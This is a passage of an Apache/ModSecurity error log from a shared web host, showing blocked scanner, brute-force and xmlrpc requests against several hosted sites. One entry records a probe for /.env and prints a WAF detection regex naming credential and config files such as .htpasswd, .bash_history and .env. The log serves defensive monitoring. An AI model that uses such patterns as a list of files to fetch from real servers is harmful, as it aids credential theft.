17.22.253.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaSmiP80klyS0NnohfgABRHY"] [Sat Jun 13 18:14:33.904108 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:33.904384 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:34.016399 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.16:56370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:34.016699 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.16:56370] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:34.065571 2026] [autoindex:error] [pid 531155:tid 531356] [client 185.213.175.168:51568] AH01276: Cannot serve directory /home4/mlqotnmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:34.090805 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.84:61896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:34.091080 2026] [access_compat:error] [pid 531155:tid 531163] [remote 57.141.14.84:61896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:34.372957 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:34.373234 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:14:34.452225 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.15.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaimiP80klyS0NnohqAABFRA"] [Sat Jun 13 18:14:34.480057 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.106:55937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:34.480333 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.106:55937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:34.635760 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.26:20010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:34.636045 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.26:20010] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:34.763909 2026] [security2:error] [pid 531155:tid 531180] [remote 162.254.36.150:58538] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yaimiP80klyS0NnohuQABTxg"] [Sat Jun 13 18:14:34.876813 2026] [security2:error] [pid 531155:tid 531279] [remote 17.246.19.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaimiP80klyS0NnohwAABGHs"] [Sat Jun 13 18:14:34.911913 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.26:20022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:34.912181 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.26:20022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:34.948271 2026] [security2:error] [pid 531155:tid 531271] [remote 162.254.36.150:58538] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yaimiP80klyS0NnohxQABPXM"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:14:34.959140 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:14:34.959413 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:14:35.397830 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.86:39476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:35.398108 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.86:39476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:35.455239 2026] [security2:error] [pid 531155:tid 531194] [remote 17.241.227.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yaymiP80klyS0Nnoh4AABWiY"] [Sat Jun 13 18:14:35.505097 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:35.505562 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:35.894188 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.38:56329] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:35.894487 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.38:56329] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:35.982763 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:14:35.983023 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:14:36.012285 2026] [security2:error] [pid 531155:tid 531400] [client 185.213.175.168:51568] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mlq.otn.mybluehost.me"] [uri "/.env"] [unique_id "ai3ybCmiP80klyS0NnoiBQAAAX0"] [Sat Jun 13 18:14:36.161496 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.9:54512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:36.161803 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.9:54512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:36.573256 2026] [security2:error] [pid 531155:tid 531158] [remote 17.22.245.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ybCmiP80klyS0NnoiJQABLwI"] [Sat Jun 13 18:14:36.574397 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:14:36.574726 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:14:36.592035 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.61:34110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:36.592316 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.61:34110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:36.615135 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.62:32692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:36.615549 2026] [access_compat:error] [pid 531155:tid 531244] [remote 57.141.14.62:32692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:36.674377 2026] [security2:error] [pid 531155:tid 531409] [client 201.239.58.251:55080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.58.239.201.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "energymeteringtechnology.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3ybCmiP80klyS0NnoiKQAAAYY"] [Sat Jun 13 18:14:36.674529 2026] [security2:error] [pid 531155:tid 531409] [client 201.239.58.251:55080] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "energymeteringtechnology.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3ybCmiP80klyS0NnoiKQAAAYY"] [Sat Jun 13 18:14:36.893075 2026] [security2:error] [pid 531155:tid 531313] [client 172.56.168.133:41986] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybCmiP80klyS0NnoiPQAAASY"] [Sat Jun 13 18:14:36.897912 2026] [security2:error] [pid 531155:tid 531313] [client 172.56.168.133:41986] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ybCmiP80klyS0NnoiPQAAASY"] [Sat Jun 13 18:14:37.048159 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.102:30435] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:37.048421 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.102:30435] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:37.050561 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:37.050947 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:37.259296 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.97:44434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:37.259586 2026] [access_compat:error] [pid 531155:tid 531191] [remote 57.141.14.97:44434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:37.394274 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.56:30678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:37.394548 2026] [access_compat:error] [pid 531155:tid 531176] [remote 57.141.14.56:30678] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:37.502703 2026] [security2:error] [pid 531155:tid 531290] [client 162.144.12.37:60316] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id 